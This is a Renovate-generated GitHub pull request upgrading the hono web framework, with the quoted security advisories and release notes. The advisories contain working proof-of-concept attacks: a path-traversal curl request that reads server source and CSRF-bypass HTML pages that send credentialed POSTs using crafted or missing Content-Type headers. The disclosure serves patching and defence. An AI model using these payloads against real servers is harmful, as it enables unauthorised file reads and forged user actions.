Update dependency hono to v3.11.7 [SECURITY] #472

renovate · 2023-12-15T04:13:33Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
hono (source)	`3.11.4` -> `3.11.7`

GitHub Vulnerability Alerts

CVE-2023-50710

Impact

The clients may override named path parameter values from previous requests if the application is using TrieRouter. So, there is a risk that a privileged user may use unintended parameters when deleting REST API resources.

TrieRouter is used either explicitly or when the application matches a pattern that is not supported by the default RegExpRouter.

The code to reproduce it. The server side application:

import { Hono } from 'hono'
import { TrieRouter } from 'hono/router/trie-router'

const wait = async (ms: number) => {
  return new Promise((resolve) => {
    setTimeout(resolve, ms)
  })
}

const app = new Hono({ router: new TrieRouter() })

app.use('*', async (c, next) => {
  await wait(Math.random() * 200)
  return next()
})

app.get('/modules/:id/versions/:version', async (c) => {
  const id = c.req.param('id')
  const version = c.req.param('version')

  console.log('path', c.req.path)
  console.log('version', version)

  return c.json({
    id,
    version,
  })
})

export default app

The client code which makes requests to the server application:

const examples = [
  'http://localhost:8787/modules/first/versions/first',
  'http://localhost:8787/modules/second/versions/second',
  'http://localhost:8787/modules/third/versions/third',
]

const test = () => {
  for (const example of examples) {
    fetch(example)
      .then((response) => response.json())
      .then((data) => {
        const splitted = example.split('/')
        const expected = splitted[splitted.length - 1]

        if (expected !== data.version) {
          console.error(`Error: exprected ${expected} but got ${data.version} - url was ${example}`)
        }
      })
  }
}

test()

The results:

Error: exprected second but got third - url was http://localhost:8787/modules/second/versions/second
Error: exprected first but got third - url was http://localhost:8787/modules/first/versions/first

Patches

"v3.11.7" includes the change to fix this issue.

Workarounds

Don't use TrieRouter directly.

// DON'T USE TrieRouter
import { TrieRouter } from 'hono/router/trie-router'
const app = new Hono({ router: new TrieRouter() })

References

Router options on the Hono website: https://hono.dev/api/hono#router-option

CVE-2024-32869

Summary

When using serveStatic with deno, it is possible to directory traverse where main.ts is located.

My environment is configured as per this tutorial
https://hono.dev/getting-started/deno

PoC

$ tree
.
├── deno.json
├── deno.lock
├── main.ts
├── README.md
└── static
    └── a.txt

source

import { Hono } from 'https://deno.land/x/hono@v4.2.6/mod.ts'
import { serveStatic } from 'https://deno.land/x/hono@v4.2.6/middleware.ts'

const app = new Hono()
app.use('/static/*', serveStatic({ root: './' }))

Deno.serve(app.fetch)

request

curl localhost:8000/static/%2e%2e/main.ts

response is content of main.ts

Impact

Unexpected files are retrieved.

CVE-2024-43787

Summary

Hono CSRF middleware can be bypassed using crafted Content-Type header.

Details

MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.

https://github.com/honojs/hono/blob/b0af71fbcc6dbe44140ea76f16d68dfdb32a99a0/src/middleware/csrf/index.ts#L16-L17

As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".

PoC

<html>
  <head>
    <title>CSRF Test</title>
    <script defer>
      document.addEventListener("DOMContentLoaded", () => {
        document.getElementById("btn").addEventListener("click", async () => {
          const res = await fetch("http://victim.example.com/test", {
            method: "POST",
            credentials: "include",
            headers: {
              "Content-Type": "Application/x-www-form-urlencoded",
            },
          });
        });
      });
    </script>
  </head>
  <body>
    <h1>CSRF Test</h1>
    <button id="btn">Click me!</button>
  </body>
</html>

Impact

Bypass csrf protection implemented with hono csrf middleware.

Discussion

I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.

CVE-2024-48913

Summary

Bypass CSRF Middleware by a request without Content-Type herader.

Details

Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC

// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
  return c.html('Hello Hono!')
})
app.post('/', async (c) => {
  console.log("executed")
  return c.text( await c.req.text())
})
Deno.serve(app.fetch)

<!-- PoC.html -->
<script>
async function myclick() {
    await fetch("http://evil.example.com", {
    method: "POST",
    credentials: "include",
    body:new Blob([`test`],{}),
    });
}
</script>
<input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.

await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact

Bypass csrf protection implemented with hono csrf middleware.

Release Notes

honojs/hono (hono)

`v3.11.7`

Compare Source

Security Update

This release includes a security patch that fixes the vulnerability in TrieRouter.

If you are using the default preset or hono/quick, or specifying the router as TrieRouter, you must upgrade to this version 3.11.7 immediately.

How to upgrade

For Deno

Just increment the version specifier to v3.11.7.

import { Hono } from 'https://deno.land/x/hono@v3.11.7/mod.ts'
import { serveStatic } from 'https://deno.land/x/hono@v3.11.7/middleware.ts'

For Node.js

Upgrade the hono package via npm:

npm install hono

// OR

yarn add hono

// OR

pnpm up hono

You may not update the hono package with npm update, so please use npm install.

The vulnerability detail

The clients may override named path parameter values from previous requests if the application is using TrieRouter. So, there is a risk that a privileged user may use unintended parameters when deleting REST API resources.

TrieRouter is used either explicitly or when the application matches a pattern that is not supported by the default RegExpRouter.

The advisory: GHSA-f6gv-hh8j-q8vq

Our Approach to Security

If you discover such a vulnerability, please contact us immediately. We will respond immediately; we have enabled GitHub's private vulnerability reporting feature, so please use that.

https://github.com/honojs/hono/security/advisories

Thanks.

Full Changelog: honojs/hono@v3.11.6...v3.11.7

What's Changed

fix(context): set headers values correctly by @yusukebe in https://github.com/honojs/hono/pull/1808
docs(readme): update hono/tiny size by @ryuapp in https://github.com/honojs/hono/pull/1809
fix(context): c.json() allows object and returns JSONParsed by @yusukebe in https://github.com/honojs/hono/pull/1806

New Contributors

@ryuapp made their first contribution in https://github.com/honojs/hono/pull/1809

Full Changelog: honojs/hono@v3.11.4...v3.11.5

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate bot added the dependencies label Dec 15, 2023

renovate bot enabled auto-merge December 15, 2023 04:13

renovate bot force-pushed the renovate/npm-hono-vulnerability branch 6 times, most recently from 299f6be to edbb41e Compare December 21, 2023 03:54

renovate bot force-pushed the renovate/npm-hono-vulnerability branch 6 times, most recently from 89df2ed to 4ffaf62 Compare December 28, 2023 18:35

renovate bot force-pushed the renovate/npm-hono-vulnerability branch 7 times, most recently from e1b59cd to 2930cee Compare January 7, 2024 04:27

renovate bot force-pushed the renovate/npm-hono-vulnerability branch 7 times, most recently from f853ffb to 450a2b0 Compare January 13, 2024 23:11

renovate bot force-pushed the renovate/npm-hono-vulnerability branch 2 times, most recently from e62774d to d8b4866 Compare January 16, 2024 06:37

renovate bot force-pushed the renovate/npm-hono-vulnerability branch 9 times, most recently from 011ee2c to d861aec Compare February 4, 2024 02:20

renovate bot force-pushed the renovate/npm-hono-vulnerability branch 10 times, most recently from 8525865 to 51bfa18 Compare February 10, 2024 18:03

renovate bot force-pushed the renovate/npm-hono-vulnerability branch 8 times, most recently from 1eeafeb to cd32382 Compare February 17, 2024 19:20

renovate bot force-pushed the renovate/npm-hono-vulnerability branch from cd32382 to 98574bd Compare February 23, 2024 16:13

Update dependency hono to v3.11.7 [SECURITY]

a165246

renovate bot force-pushed the renovate/npm-hono-vulnerability branch from 98574bd to a165246 Compare April 3, 2024 21:50

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Update dependency hono to v3.11.7 [SECURITY] #472

Update dependency hono to v3.11.7 [SECURITY] #472

renovate bot commented Dec 15, 2023 •

edited

Loading

Update dependency hono to v3.11.7 [SECURITY] #472

Are you sure you want to change the base?

Update dependency hono to v3.11.7 [SECURITY] #472

Conversation

renovate bot commented Dec 15, 2023 • edited Loading

GitHub Vulnerability Alerts

CVE-2023-50710

Impact

Patches

Workarounds

References

CVE-2024-32869

Summary

PoC

Impact

CVE-2024-43787

Summary

Details

PoC

Impact

Discussion

CVE-2024-48913

Summary

Details

PoC

Impact

Release Notes

v3.11.7

Security Update

How to upgrade

For Deno

For Node.js

The vulnerability detail

Our Approach to Security

v3.11.6

What's Changed

v3.11.5

What's Changed

New Contributors

Configuration

renovate bot commented Dec 15, 2023 •

edited

Loading

`v3.11.7`

`v3.11.6`

`v3.11.5`